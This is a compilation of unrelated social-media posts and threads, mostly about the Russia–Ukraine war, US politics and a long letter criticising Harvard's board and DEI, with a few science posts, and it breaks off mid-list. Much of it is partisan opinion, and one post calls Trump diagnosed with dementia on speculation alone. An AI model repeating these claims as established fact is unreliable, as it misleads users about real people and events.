-To digest the haphazard matrix of lignin, fungi perform enzymatic combustion with peroxidases, highly reactive non-specific enzymes.
-“Today, fungal decomposition — much of it woody plant matter — is one of the largest sources of carbon emissions, about 85 Gt/y.” (177)
-In the Carbiniferous period, fungi had not yet evolved to digest lignin. That became coal. “When we burn coal, we physically combust the material that fungi were unable to combust enzymatically. We thermally decompose what fungi were unable to decompose chemically.” (178)
🔥🔝Part II of the interview with a master strategist is out tonight. Don't miss this special insight into the man behind @DarthPutinKGB 🌟 Why he’s been anonymous? How he expanded his satire into a book? His future projects?
Subscribe to the Premier 🚀🔜
https://t.co/NNJPpQHa35
It's not just a record breaker but a scientific platform: Sampling pollutants & performing high altitude research on stratospheric weather. It documented the events leading to Australia's 2019 fire season, space radiation, the effect of stratospheric waves on ozone depletion, etc https://t.co/aE6mQpEQAT
I built a natural language CLI.
It generates Python scripts to answer your question, then auto-executes them in the cwd. You will not believe how capable this simple pattern is. Rawdogging gpt-4 from the command line.
Rawdog.
1/ https://t.co/0cYV2Lw8fz
Kim Bildsøe møder moren til to af de mænd som IDF dræbte på et hospital på Vestbredden. Hun benægter at de var terrorister, modsat hvad IDF siger, men DR forbigår fuldstændig at Islamisk Jihad ifølge Reuters selv har sagt at sønnerne var deres folk. https://t.co/rrnE8czcwH
1/ Vladimir Putin has reportedly built a luxury residence on an estate twice the size of Monaco, on the shore of Lake Ladoga just 31 km (19 miles) from the Finnish border. The @dossier_center has published some remarkable drone images of the complex. ⬇️ https://t.co/iZ7aXdffOg
THREAD Did you know that the Soviet Union had a wide-spread culture of Nazis, fully integrated into the Soviet cultural life, painting sieg-heiling heroes? If you have not, read this THREAD. (Picture: Konstantin Vassiliev, "A Valkyrie over a fallen warrior", USSR, 1971). /1 https://t.co/F9EVfC1yuy
News:
"Former Trump White House Adviser Peter Navarro Sentenced to Four Months in Prison"
@BySteveReilly and @NolanDMcCaskill report, for @TheMessenger
https://t.co/kQfApccRuL
Finally, one of Silicon Valley's countless billionaires is stepping up to help Ukraine.
Eric Schmidt, naming his new kamikaze drone company after Ukraine's national bird "White Stork", will aid Ukraine in destroying Russia's barbaric hordes.
Sweet. https://t.co/N6mOOZnZIo
The strike against Russian oil facilities in Tuapse, Russia, only days after the successful strike against the Ust-Luga terminal removes all doubt that we are dealing with a targeted effort to eliminate all major Russian oil and gas ports, so that they are rendered useless for any operations.
When looking at the Russian oil and gas pipeline map, then you will notice that almost all of them head West. There is a small pipeline going east, but it is not connected to the main oil fields in Western Siberia and only small in size. Russia's economic lifeline goes all the way West. In the past, this was the matter of problems for the West, since Russia used this power to blackmail Europe. Now, its close proximity has become the source of weakness.
Among all of those pipelines only 5 end in Russian sea ports. Every other pipeline, especially the Druzhba pipeline, enters Western (NATO) territory and are therefore subject of sanctions or worse. The Druzhba pipeline goes anyway partly through Ukrainian territory and the rest such as the pumping stations are anyway in firing range.
3 of the pipelines end near Sankt Petersburg in the Baltic Sea, 2 of them go the Black Sea. Among of them, Ukraine successfully struck 2 already. Ust-Luga is inoperable for the next weeks or even months. Shipping companies will increasingly reconsider sending their vessels to those ports which are military targets.
This will be a big headache for the Russian war effort. The current attacks are still small in size, using a handful of drones, but already caused considerable damage. When Ukraine starts mass-hitting those ports, then the Russian air defense will not be able to stop the outcome, even when destroying 99% of all drones.
The National Geographic map is from 2006 and yet not much has changed since then. The major difference I see is the extension of the natural gas pipeline grid of which some have been turned into "sea water pipelines". The irony behind that speak for itself. Putin and his oligarchs never ever anticipated this situation, like everything since February 2022. Everything what Moscow does makes a bad situation worse and I'm sure that sooner or later somebody in Putin's circle (of which nobody is a saint but simply tired of this vicious cycle) will do the math that it is easier to remove Putin than remove the Ukraine will for freedom and independence.
#Ukraine #Russia #Oil #NaturalGas
The map of oil refinery in western russia
highlight = within range of Ukrainian drones
There is the possibility to greatly disrupt the russian economy https://t.co/uqijNXBAXP
TAPPER: During Trump's presidency, the national debt went up $8 trillion. What makes you think he'll do anything about debt?
GOP REP. RICH McCORMICK: You're right, we did a horrible job. https://t.co/tTjhZEMO8x
Trump, talking about a recent cognitive test told a NH crowd last night “I’ll let you know when I go bad. I really think I’ll be able to tell you because someday we go bad.”
Translation- This is Trump admitting he's been diagnosed with dementia, but he's rationalizing that it hasn't really hit him yet or he has a "mild case." This is how it goes for a lot of people- except they aren't trying to run for president. Note how he said "someday we go bad" Like it's totally normal. It's not.
As he severely spirals downward he will be even LESS aware of his deterioration. Yes, less, bc dementia patients lose the ability to judge their condition. Note how he's no longer correcting his flubs. It get worse. Think of a corrupted hard drive. There's a lot of empty space in his head, tau protein clogs and dying neurons.
This waterfall is located outside the Peruvian city of Cajamarca and resembles the shape of a woman wearing a bridal dress: it's called La Cascada de la Novia
[this is a cinemagraph obtained by a shorter clip]
https://t.co/jZ54QGpPPw
There is evidence that the #attack on the #market in #Donetsk on Jan. 21, 2024 was a Russian false flag.
Time between sounds of rounds being fired and their impact indicates max distance of weapon of 4km. Front line shown in red: Weapon was fired in Russian-held territory. https://t.co/QUJFAoEMSA
ssh has secrets. Too many to share in one tweet. One of which is how it acts as a serial-line processor for secret keyboard functionality you probably never knew about. For example, why, when you press ENTER and then ~ immediately after, does the ~ not appear right away? Thread…
"Before the Israel-Hamas war...The Israel Defense Forces (IDF) and scholars estimated...that there were three hundred miles of tunnels ranging from fifteen feet to over two hundred feet below the surface. The estimates were wrong." @WarInstitute https://t.co/cr5GNMUoNL
A thread on Mermin's device used to demonstrate that Nature can't be classical
Feynman called Mermin's paper: "One of the most beautiful papers in physics that I know"
It has a switch with 3 settings and 2 lights flashing either red or green:
🧵 1/10 https://t.co/qhcweJIBB5
Swarovski revealed new $4,799 AI-powered binoculars that can identify birds at CES 2024.
It will be interesting to see demand for a product like this.
You could train a system to identify anything, as long as you have a database on it. https://t.co/Y5oa1GLaDe
Tanzanite is a trichroic gemstone.
A good illustration is in looking at a Tanzanite crystal in its rough form, turning it on 3 different axes you can perceive 3 different colors.
https://t.co/wdpC6IZgSs
THREAD Ukrainian soldier Olexiy Onulya spent 9 months in Russian captivity. In his interview to Ukrainian @TextyOrgUa he described routine torture he experienced and observed. I publish his main messages to demonstrate what terror will go on if Ukraine "freezes" the war. /1 https://t.co/WV2lDuwHog
Launched a historic petition, which, if successful, will allow Mr Orban to be deprived of the right to vote in the Council.
This is decisively different from anything we have done so far regarding HU – the procedure foreseen in Article 7(2) TEU has never been initiated. 1/3 https://t.co/7Q1coiUbJT
Plus they are all linked by maritime chokepoints:
🔷️Panama Canal
🔷️English Channel
🔷️Strait of Gibraltar
🔷️Suez Canal
🔷️Bab el-Mandeb
🔷️Malacca Strait
How many of these are currently in flux? https://t.co/KmXQ0TMEcW
As Russian missiles rain all over Ukraine this morning, remember WHY it's happening.
Naive Americans believed Putin and convinced Ukraine to disarm.
As a senator, in 2005, Obama actually went to Ukraine for photo-ops overseeing the destruction of its vast weapons caches. https://t.co/cFILupGqqx
Settler colonialism is trending.
Some current examples. 🧵
1. China. Settled loyal Han in disloyal Xinjiang (from 90s). Settled 1m loyal mainlanders in disloyal Hong Kong.
A road across Xinjiang's Taklamakan desert China built to entice settlers. https://t.co/WCRZQCuItf
In reference to the attack against the Shagol Airfield in Chelyabinsk, Russia, which occurred 3 days ago (see repost) and of which Pro-Russian social media users denied that it happened, a 16-year old from Dagestan has been put into pre-trial detention in Chelyabinsk. He is accused to set fire on the very same airfield.
Source: https://t.co/yk1qGO1yFi
#Russia #Ukraine #Chelyabinsk
We are currently in a pre-stage of a world war. I compare it to the period between 1936-1939. The civil war in Spain is raging and it is unclear who will win, but Italy and Germany help Franco, while the West mainly stays silent. Same goes with Czechoslovakia and Austria, two sovereign nations which still are independent but on the verge to be annexed. Again the West does nothing. By the end of this pre-world war period the fascist regimes have achieved everything and with the Hitler-Stalin Pact the gates to WW2 are now fully open.
Russia, North Korea and Iran, as well as their minions such Hezbollah, Hamas, Assad-Syria and the Houthis in Yemen are currently moving against the free world. China is in my opinion currently more on the side-lines even when some Chinese hardware appears in Russian arsenal, but it is far from what it could be if China seriously goes in. China has its own plan and it does not include an existent Russia.
This might sound bleak but it doesn't have to be. There is still a chance to avert world war 3. The key to everything is Ukraine, and this is no hyperbole. When Russia fails in Ukraine, then the whole axis of the dictatorships will fall apart. Putin will be considered the greatest loser of Russian history, will be removed and Russia in its current form will end to exist. Regimes in countries like Belarus, Syria and Serbia will lose their puppetplayer and will end. The mullah regime will be extremely exposed and vulnerable, offering the freedom-loving people of Iran to finally overthrow their mullah regime. This in turn will cause a domino effect in the Middle-East, ending the most important ally of the Assad regime, Hezbollah and Hamas, and freeing Syria and Lebanon from their biggest curse.
It is up to us in the West if we want to avert WW3. Ukraine and her fight are directly connected to this question. Ukraine is the key between freedom for all of us or WW3 if Ukraine is abandoned. There is nothing in between. It cannot be overstated that this is the single-greatest decision of our times.
#Ukraine #Russia #Iran
Did you know that with 2 Python libraries, 6 lines of code and around 15 seconds, you can load satellite data from anywhere in the world?
This is so much easier than it used to be! https://t.co/jMLHcjcVzg
In light of today’s news, I thought I would try to take a step back and provide perspective on what this is really all about.
I first became concerned about @Harvard when 34 Harvard student organizations, early on the morning of October 8th before Israel had taken any military actions in Gaza, came out publicly in support of Hamas, a globally recognized terrorist organization, holding Israel ‘solely responsible’ for Hamas’ barbaric and heinous acts.
How could this be? I wondered.
When I saw President Gay’s initial statement about the massacre, it provided more context (!) for the student groups’ statement of support for terrorism. The protests began as pro-Palestine and then became anti-Israel. Shortly, thereafter, antisemitism exploded on campus as protesters who violated Harvard’s own codes of conduct were emboldened by the lack of enforcement of Harvard’s rules, and kept testing the limits on how aggressive, intimidating, and disruptive they could be to Jewish and Israeli students, and the student body at large. Sadly, antisemitism remains a simmering source of hate even at our best universities among a subset of students.
A few weeks later, I went up to campus to see things with my own eyes, and listen and learn from students and faculty. I met with 15 or so members of the faculty and a few hundred students in small and large settings, and a clearer picture began to emerge.
I ultimately concluded that antisemitism was not the core of the problem, it was simply a troubling warning sign – it was the “canary in the coal mine” – despite how destructive it was in impacting student life and learning on campus.
I came to learn that the root cause of antisemitism at Harvard was an ideology that had been promulgated on campus, an oppressor/oppressed framework, that provided the intellectual bulwark behind the protests, helping to generate anti-Israel and anti-Jewish hate speech and harassment.
Then I did more research. The more I learned, the more concerned I became, and the more ignorant I realized I had been about DEI, a powerful movement that has not only pervaded Harvard, but the educational system at large. I came to understand that Diversity, Equity, and Inclusion was not what I had naively thought these words meant.
I have always believed that diversity is an important feature of a successful organization, but by diversity I mean diversity in its broadest form: diversity of viewpoints, politics, ethnicity, race, age, religion, experience, socioeconomic background, sexual identity, gender, one’s upbringing, and more.
What I learned, however, was that DEI was not about diversity in its purest form, but rather DEI was a political advocacy movement on behalf of certain groups that are deemed oppressed under DEI’s own methodology.
Under DEI, one’s degree of oppression is determined based upon where one resides on a so-called intersectional pyramid of oppression where whites, Jews, and Asians are deemed oppressors, and a subset of people of color, LGBTQ people, and/or women are deemed to be oppressed. Under this ideology which is the philosophical underpinning of DEI as advanced by Ibram X. Kendi and others, one is either an anti-racist or a racist. There is no such thing as being “not racist.”
Under DEI’s ideology, any policy, program, educational system, economic system, grading system, admission policy, (and even climate change due its disparate impact on geographies and the people that live there), etc. that leads to unequal outcomes among people of different skin colors is deemed racist.
As a result, according to DEI, capitalism is racist, Advanced Placement exams are racist, IQ tests are racist, corporations are racist, or in other words, any merit-based program, system, or organization which has or generates outcomes for different races that are at variance with the proportion these different races represent in the population at large is by definition racist under DEI’s ideology.
In order to be deemed anti-racist, one must personally take action to reverse any unequal outcomes in society. The DEI movement, which has permeated many universities, corporations, and state, local and federal governments, is designed to be the anti-racist engine to transform society from its currently structurally racist state to an anti-racist one.
After the death of George Floyd, the already burgeoning DEI movement took off without any real challenge to its problematic ideology. Why, you might ask, was there so little pushback? The answer is that anyone who dared to raise a question which challenged DEI was deemed a racist, a label which could severely impact one’s employment, social status, reputation and more. Being called a racist got people cancelled, so those concerned about DEI and its societal and legal implications had no choice but to keep quiet in this new climate of fear.
The techniques that DEI has used to squelch the opposition are found in the Red Scares and McCarthyism of decades past. If you challenge DEI, “justice” will be swift, and you may find yourself unemployed, shunned by colleagues, cancelled, and/or you will otherwise put your career and acceptance in society at risk.
The DEI movement has also taken control of speech. Certain speech is no longer permitted. So-called “microaggressions” are treated like hate speech. “Trigger warnings” are required to protect students. “Safe spaces” are necessary to protect students from the trauma inflicted by words that are challenging to the students’ newly-acquired world views. Campus speakers and faculty with unapproved views are shouted down, shunned, and cancelled.
These speech codes have led to self-censorship by students and faculty of views privately held, but no longer shared. There is no commitment to free expression at Harvard other than for DEI-approved views. This has led to the quashing of conservative and other viewpoints from the Harvard campus and faculty, and contributed to Harvard’s having the lowest free speech ranking of 248 universities assessed by the Foundation of Individual Rights and Expression.
When one examines DEI and its ideological heritage, it does not take long to understand that the movement is inherently inconsistent with basic American values. Our country since its founding has been about creating and building a democracy with equality of opportunity for all. Millions of people have left behind socialism and communism to come to America to start again, as they have seen the destruction leveled by an equality of outcome society.
The E for “equity” in DEI is about equality of outcome, not equality of opportunity.
DEI is racist because reverse racism is racism, even if it is against white people (and it is remarkable that I even need to point this out). Racism against white people has become considered acceptable by many not to be racism, or alternatively, it is deemed acceptable racism. While this is, of course, absurd, it has become the prevailing view in many universities around the country.
You can say things about white people today in universities, in business or otherwise, that if you switched the word ‘white’ to ‘black,’ the consequences to you would be costly and severe.
To state what should otherwise be self-evident, whether or not a statement is racist should not depend upon whether the target of the racism is a group who currently represents a majority or minority of the country or those who have a lighter or darker skin color. Racism against whites is as reprehensible as it is against groups with darker skin colors.
Martin Luther King’s most famous words are instructive:
“I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin but by the content of their character.”
But here we are in 2024, being asked and in some cases required to use skin color to effect outcomes in admissions (recently deemed illegal by the Supreme Court), in business (likely illegal yet it happens nonetheless) and in government (also I believe in most cases to be illegal, except apparently in government contracting), rather than the content of one’s character. As such, a meritocracy is an anathema to the DEI movement. DEI is inherently a racist and illegal movement in its implementation even if it purports to work on behalf of the so-called oppressed.
And DEI’s definition of oppressed is fundamentally flawed.
I have always believed that the most fortunate should help the least fortunate, and that our system should be designed in such a way as to maximize the size of the overall pie so that it will enable us to provide an economic system which can offer quality of life, education, housing, and healthcare for all.
America is a rich country and we have made massive progress over the decades toward achieving this goal, but we obviously have much more work to do. Steps taken on the path to socialism – another word for an equality of outcome system – will reverse this progress and ultimately impoverish us all. We have seen this movie many times.
Having a darker skin color, a less common sexual identity, and/or being a woman doesn’t make one necessarily oppressed or even disadvantaged. While slavery remains a permanent stain on our country’s history – a fact which is used by DEI to label white people as oppressors – it doesn’t therefore hold that all white people generations after the abolishment of slavery should be held responsible for its evils. Similarly, the fact that Columbus discovered America doesn’t make all modern-day Italians colonialists.
An ideology that portrays a bicameral world of oppressors and the oppressed based principally on race or sexual identity is a fundamentally racist ideology that will likely lead to more racism rather than less. A system where one obtains advantages by virtue of one’s skin color is a racist system, and one that will generate resentment and anger among the un-advantaged who will direct their anger at the favored groups.
The country has seen burgeoning resentment and anger grow materially over the last few years, and the DEI movement is an important contributor to our growing divisiveness. Resentment is one of the most important drivers of racism. And it is the lack of equity, i.e, fairness, in how DEI operates, that contributes to this resentment.
I was accused of being a racist from the President of the NAACP among others when I posted on @X that I had learned that the Harvard President search process excluded candidates that did not meet the DEI criteria. I didn’t say that former President Gay was hired because she was a black woman. I simply said that I had heard that the search process by its design excluded a large percentage of potential candidates due to the DEI limitations. My statement was not a racist one. It was simply the empirical truth about the Harvard search process that led to Gay’s hiring.
When former President Gay was hired, I knew little about her, but I was instinctually happy for Harvard and the black community. Every minority community likes to see their representatives recognized in important leadership positions, and it is therefore an important moment for celebration. I too celebrated this achievement. I am inspired and moved by others’ success, and I thought of Gay’s hiring at the pinnacle leadership position at perhaps our most important and iconic university as an important and significant milestone for the black community.
I have spent the majority of my life advocating on behalf of and supporting members of disadvantaged communities including by investing several hundreds of millions of dollars of philanthropic assets to help communities in need with economic development, sensible criminal justice reform, poverty reduction, healthcare, education, workforce housing, charter schools, and more.
I have done the same at Pershing Square Capital Management when, for example, we completed one of the largest IPOs ever with the substantive assistance of a number of minority-owned, women-owned, and Veteran-owned investment banks. Prior to the Pershing Square Tontine, Ltd. IPO, it was standard practice for big corporations occasionally to name a few minority-owned banks in their equity and bond offerings, have these banks do no work and sell only a de minimis amount of stock or bonds, and allocate to them only 1% or less of the underwriting fees so that the issuers could virtue signal that they were helping minority communities.
In our IPO, we invited the smaller banks into the deal from the beginning of the process so they could add real value. As a result, the Tontine IPO was one of the largest and most successful IPOs in history with $12 billion of demand for a $4 billion deal by the second day of the IPO, when we closed the books. The small banks earned their 20% share of the fees for delivering real and substantive value and for selling their share of the stock.
Compare this approach to the traditional one where the small banks do effectively nothing to earn their fees – they aren’t given that opportunity – yet, they get a cut of the deal, albeit a tiny one. The traditional approach does not create value for anyone. It only creates resentment, and an uncomfortable feeling from the small banks who get a tiny piece of the deal in a particularly bad form of affirmative action.
While I don’t think our approach to working with the smaller banks has yet achieved the significant traction it deserves, it will hopefully happen eventually as the smaller banks build their competencies and continue to earn their fees, and other issuers see the merit of this approach. We are going to need assistance with a large IPO soon so we are looking forward to working with our favored smaller banks.
I have always believed in giving disadvantaged groups a helping hand. I signed the Giving Pledge for this reason. My life plan by the time I was 18 was to be successful and then return the favor to those less fortunate. This always seemed to the right thing to do, in particular, for someone as fortunate as I am.
All of the above said, it is one thing to give disadvantaged people the opportunities and resources so that they can help themselves. It is another to select a candidate for admission or for a leadership role when they are not qualified to serve in that role.
This appears to have been the case with former President Gay’s selection. She did not possess the leadership skills to serve as Harvard’s president, putting aside any questions about her academic credentials. This became apparent shortly after October 7th, but there were many signs before then when she was Dean of the faculty.
The result was a disaster for Harvard and for Claudine Gay.
The Harvard board should not have run a search process which had a predetermined objective of only hiring a DEI-approved candidate. In any case, there are many incredibly talented black men and women who could have been selected by Harvard to serve as its president so why did the Harvard Corporation board choose Gay?
One can only speculate without knowing all of the facts, but it appears Gay’s leadership in the creation of Harvard’s Office of Diversity, Equity, Inclusion and Belonging and the penetration of the DEI ideology into the Corporation board room perhaps made Gay the favored candidate. The search was also done at a time when many other top universities had similar DEI-favored candidate searches underway for their presidents, reducing the number of potential candidates available in light of the increased competition for talent.
Unrelated to the DEI issue, as a side note, I would suggest that universities should broaden their searches to include capable business people for the role of president, as a university president requires more business skills than can be gleaned from even the most successful academic career with its hundreds of peer reviewed papers and many books. Universities have a Dean of the Faculty and a bureaucracy to oversee the faculty and academic environment of the university. It therefore does not make sense that the university president has to come through the ranks of academia, with a skill set unprepared for university management.
The president’s job – managing thousands of employees, overseeing a $50 billion endowment, raising money, managing expenses, capital allocation, real estate acquisition, disposition, and construction, and reputation management – are responsibilities that few career academics are capable of executing. Broadening the recruitment of candidates to include top business executives would also create more opportunities for diverse talent for the office of the university president.
Furthermore, Harvard is a massive business that has been mismanaged for a long time. The cost structure of the University is out of control due in large part to the fact that the administration has grown without bounds. Revenues are below what they should be because the endowment has generated a 4.5% annualized return for the last decade in one of the greatest bull markets in history, and that low return is not due to the endowment taking lower risks as the substantial majority of its assets are invested in illiquid and other high-risk assets.
The price of the product, a Harvard education, has risen at a rate well in excess of inflation for decades, (I believe it has grown about 7-8% per annum) and it is now about $320,000 for four years of a liberal arts education at Harvard College. As a result, the only students who can now afford Harvard come from rich families and poor ones. The middle class can’t get enough financial aid other than by borrowing a lot of money, and it is hard to make the economics work in life after college when you graduate with large loan balances, particularly if you also attend graduate school.
The best companies in the world grow at high rates over many decades. Harvard has grown at a de minimis rate. Since I graduated 35 years ago, the number of students in the Harvard class has grown by less than 20%. What other successful business do you know that has grown the number of customers it serves by less than 20% in 35 years, and where nearly all revenue growth has come from raising prices?
In summary, there is a lot more work to be done to fix Harvard than just replacing its president. That said, the selection of Harvard’s next president is a critically important task, and the individuals principally responsible for that decision do not have a good track record for doing so based on their recent history, nor have they done a good job managing the other problems which I have identified above.
The Corporation board led by Penny Pritzker selected the wrong president and did inadequate due diligence about her academic record despite Gay being in leadership roles at the University since 2015 when she became dean of the Social Studies department.
The Board failed to create a discrimination-free environment on campus exposing the University to tremendous reputational damage, to large legal and financial liabilities, Congressional investigations and scrutiny, and to the potential loss of Federal funding, all while damaging the learning environment for all students.
And when concerns were raised about plagiarism in Gay’s research, the Board said these claims were “demonstrably false” and it threatened the NY Post with “immense” liability if it published a story raising these issues.
It was only after getting the story cancelled that the Board secretly launched a cursory, short-form investigation outside of the proper process for evaluating a member of the faculty’s potential plagiarism. When the Board finally publicly acknowledged some of Gay’s plagiarism, it characterized the plagiarism as “unintentional” and invented new euphemisms, i.e., “duplicative language” to describe plagiarism, a belittling of academic integrity that has caused grave damage to Harvard’s academic standards and credibility.
The Board’s three-person panel of “political scientist experts” that to this day remain unnamed who evaluated Gay’s work failed to identify many examples of her plagiarism, leading to even greater reputational damage to the University and its reputation for academic integrity as the whistleblower and the media continued to identify additional problems with Gay’s work in the days and weeks thereafter.
According to the NY Post, the Board also apparently sought to identify the whistleblower and seek retribution against him or her in contravention to the University’s whistleblower protection policies.
Despite all of the above, the Board “unanimously” gave its full support for Gay during this nearly four-month crisis, until eventually being forced to accept her resignation earlier today, a grave and continuing reputational disaster to Harvard and to the Board.
In a normal corporate context with the above set of facts, the full board would resign immediately to be replaced by a group nominated by shareholders. In the case of Harvard, however, the Board nominates itself and its new members. There is no shareholder vote mechanism to replace them.
So what should happen?
The Corporation Board should not remain in their seats protected by the unusual governance structure which enabled them to obtain their seats.
The Board Chair, Penny Pritzker, should resign along with the other members of the board who led the campaign to keep Claudine Gay, orchestrated the strategy to threaten the media, bypassed the process for evaluating plagiarism, and otherwise greatly contributed to the damage that has been done. Then new Corporation board members should be identified who bring true diversity, viewpoint and otherwise, to the board.
The Board should not be principally comprised of individuals who share the same politics and views about DEI. The new board members should be chosen in a transparent process with the assistance of the 30-person Board of Overseers. There is no reason the Harvard board of 12 independent trustees cannot be comprised of the most impressive, high integrity, intellectually and politically diverse members of our country and globe. We have plenty of remarkable people to choose from, and the job of being a director just got much more interesting and important. It is no longer, nor should it ever have been, an honorary and highly political sinecure.
The ODEIB should be shut down, and the staff should be terminated. The ODEIB has already taken down much of the ideology and strategies that were on its website when I and others raised concerns about how the office operates and who it does and does not represent. Taking down portions of the website does not address the fundamentally flawed and racist ideology of this office, and calls into further question the ODEIB’s legitimacy.
Why would the ODEIB take down portions of its website when an alum questioned its legitimacy unless the office was doing something fundamentally wrong or indefensible?
Harvard must once again become a meritocratic institution which does not discriminate for or against faculty or students based on their skin color, and where diversity is understood in its broadest form so that students can learn in an environment which welcomes diverse viewpoints from faculty and students from truly diverse backgrounds and experiences.
Harvard must create an academic environment with real academic freedom and free speech, where self-censoring, speech codes, and cancel culture are forever banished from campus.
Harvard should become an environment where all students of all persuasions feel comfortable expressing their views and being themselves. In the business world, we call this creating a great corporate culture, which begins with new leadership and the right tone at the top. It does not require the creation of a massive administrative bureaucracy.
These are the minimum changes necessary to begin to repair the damage that has been done.
A number of faculty at the University of Pennsylvania have proposed a new constitution which can be found at https://t.co/Vggm1eomnI, which has been signed by more than 1,200 faculty from Penn, Harvard, and other universities. Harvard would do well to adopt Penn’s proposed new constitution or a similar one before seeking to hire its next president.
A condition of employment of the new Harvard president should be the requirement that the new president agrees to strictly abide by the new constitution. He or she should take an oath to that effect.
Today was an important step forward for the University. It is time we restore Veritas to Harvard and again be an exemplar that graduates well-informed, highly-educated leaders of exemplary moral standing and good judgment who can help bring our country together, advance our democracy, and identify the important new discoveries that will help save us from ourselves.
We have a lot more work to do. Let’s get at it.
NEW JUST IN. Ken Block, a voter data expert hired by the Trump campaign in 2020 to investigate voter fraud, has publicly stated that the 2020 presidential election was not stolen.
Anyone who values even a shred of integrity and ethics, and possesses the slightest bit of common sense, can see that the election was not stolen.
In an op-ed, Block unequivocally declared that there was no evidence to suggest that voter fraud had occurred to a degree that would change the election's outcome.
Furthermore, a research firm hired by Donald Trump to investigate his assertions of election fraud found nothing to support his claims.
These statements and findings, coming from sources directly associated with the Trump campaign, offer a significant perspective on the legitimacy of the 2020 election.
————
A voter data expert hired by the Trump campaign says the 2020 election was not stolen.
https://t.co/Q1o8OPY8Ch
A voter data expert hired by the Trump campaign says the 2020 election was not stolen.
https://t.co/2f64gISKuv
Donald Trump's Own Expert Debunks His Election Claims - Newsweek.
https://t.co/Gx1GqREX8r
Research Firm Hired By Trump To Prove 2020 Election Fraud ... - HuffPost.
https://t.co/kthLCb7e5D
15 rules of #Russian #disinformation by @DietmarPichler1
1. Deny it
2. Accuse others of what you do yourself
3. Demonize your victim
4. Practice the victim role, even if you are clearly the perpetrator
5. Know your target audiences
6. When unable to convince, confuse
7. Spread not just one but many lies to create as much confusion as possible
8. Motivate others to spread your lies
9. Ridiculous propaganda helps make your more subtle lies appear more legitimate
10. If it gets tough to deny, use whataboutism
11. Amplify all voices that support your narratives
12. Repeat your narratives as many times as possible so that your audience can parrot them
13. Be aware that less informed people are more vulnerable to disinformation
14. When your fabricated content triggers emotions, people will spread it even more
15. Make your audience feel special, in the sense that they are well-informed, while others are just "decadent Western sheep"
There are good russians.
I'm the last person on earth to admit this fact, after everything they have done, but yeah this woman is part of the 1% 👍 https://t.co/0njHWImXz6
*Thread*
Oppenheimer has brought a lot of attention to the Manhattan Project, but much of it still remains a mystery. Hiding deep inside the Congo, there is a geological miracle, a pit from hell that won us the arms race. https://t.co/3j7GlNXcu3
For those of you who want to learn more about John von Neumann, @Ananyo wrote a captivating and entertaining book, The Man From the Future: The Visionary ideas of John von Neumann. There is also a fictionalized biography, The Maniac, that made Barack Obama's favorite books this year.
Reminder: The first book is factual and the second is a reimagined story. I recommend starting with Ananyo Bhattacharya's fact-based biography.
Born #Today in 1903, John Von Neumann is generally regarded as the foremost mathematician of his time and said to be "the last representative of the great mathematicians https://t.co/njBHWdhRl9
Year summary (28.12.2023 07:50 AM RO/UA time):
Summary (in approximate chronological order):
1. Battle for Vuhledar;
2. Battle for Bakhmut;
3. Ukrainian counteroffensive;
4. The naval battle for the Black Sea;
5. Battle for Kherson/Nova Kahovka;
6. Battle for Avdiivka;
7. International aid;
8. Conclusions;
9. Year 2024;
1. Battle for Vuhledar:
- The Russian assault on #Vuhledar began in late December 2022 and ended in a disgraceful defeat in February 2023, with the Russians losing dozens of armoured vehicles, tanks and thousands of troops. With footage that went around the world showing Russia's inability to set the pace and win a town that for them could have been a launch pad to one of what I see as a strategic goal of the Russians, splitting Ukraine in two along the course of the #Dnieper.
I guess I don't have much to comment on here, pretty much everyone who has been following this conflict has already heard about the shameful Russian defeat and massive losses. It was a defensive victory on the part of the Ukrainian forces and thus cut off the momentum of the Russians. The year was starting optimistically;
2. Battle for Bakhmut:
- The bombardment of Bakhmut began immediately after the Russians conquered Popasna in May 2022 and ended 12 months later with a Pyrrhic Russian victory. Why do I consider it a Pyrrhic victory? For several reasons:
a. It resulted in the loss of over 60,000 Russian troops (killed and wounded) and about 20,000 Ukrainians killed and wounded;
b. It led to the virtual disappearance of the Wagner group officially. Many of those who fought in the Wagner PMC are now fighting in the Russian Regular Army;
c. It led to the death of Prigojin and thus the demise of perhaps the most effective (ability to achieve an objective), regardless of whether we agree with his methods or not, and his removal from the battlefield by his withdrawal and "March for Justice" to Moscow was a benefit to Ukraine. Subsequently, his assassination by Putin proved once again, if it was needed, what kind of state Russia is;
d. Apart from the losses suffered by Wagner troops, during the 12-month assault on Bakhmut, Russia had to deploy over 150,000 troops around the city, which allowed Ukrainians in other sectors of the front to "breathe".
Thus, the Battle for #Bakhmut, followed by the Ukrainian counteroffensive, which succeeded in achieving its objectives at the tactical level (further pinning down Russian VDV troops) and operational level - stopping the advance towards Chasiv Yar and further towards the #Sloviansk-#Kramatorsk urban agglomeration, which, in the event of their fall into Russian hands, would have been basically achieving another strategic Russian objective: de facto Donbas control. But the AFU succeeded in incapacitating the Russians in achieving this strategic objective through the manner in which the Battle for Bakhmut and the subsequent counteroffensive were fought;
3. Ukrainian counteroffensive:
- This ended in failure. It is my second wrong prediction in the 668 days of the war, after I predicted in the winter of 2022 that Bakhmut would hold. In the present case, I predicted, based on information about Western promises, superior Ukrainian morale, their ingenuity, and the fact that there would be a secondary axis of attack - #Kherson - which no one could have known would be incapacitated by the terrorist destruction of the #Kahovkha Dam by the Russians, I predicted that the AFU would succeed in piercing the #Surovikin lines and cutting the land bridge between #Donbas and #Crimea. I was wrong, and I make my mea culpa publicly;
- The Ukrainian counteroffensive ended in failure for several reasons in my opinion, which I will not list here, but the breaking through of the first Surovikin lines by the AFU without any air support is in itself a success that should not be overlooked.
- Also in the Ukrainian counteroffensive, the Western material was used to a very small extent, even though Russian propaganda tried on numerous occasions to present us with a different picture. Commander-in-Chief #Zaluzhnyi was extremely perceptive after the first defeats on the #Orihiv-#Tokmak axis and kept most of the Western armament for future operations;
- I am not an expert on military strategy and tactics, but I have read enough in the last two years in this field to believe that this failure, however resounding it is mainly due to us, those of us who passionately promoted this counteroffensive,and in fact is neither so resounding nor so major, when we consider the two opposing forces and the reality on the ground;
4. The battle for the Black Sea:
- Also part of the Ukrainian Counteroffensive and this time, unlike the land operation, a resounding success for several reasons:
a. The Ukrainian Armed Forces do NOT have capital warships;
b. A large part of the Russian war fleet at #Sevastopol, the one that also maintained the grain blockade, was moved to #Novorossiysk or #Fedorivka (Crimea);
c. The Naval Command of the Russian Naval Forces in the Black Sea was destroyed;
d. Over 30% of all Russian warships have been turned into submarines, and one submarine has been turned into a relic by the AFU, without the AFU (I repeat, because it is important) having any capital warships;
e. It removed the grain blockade, which has a direct positive impact on Ukraine's economy and thus reverberates throughout society;
5. Battle for #Kherson/Nova Kahovka;
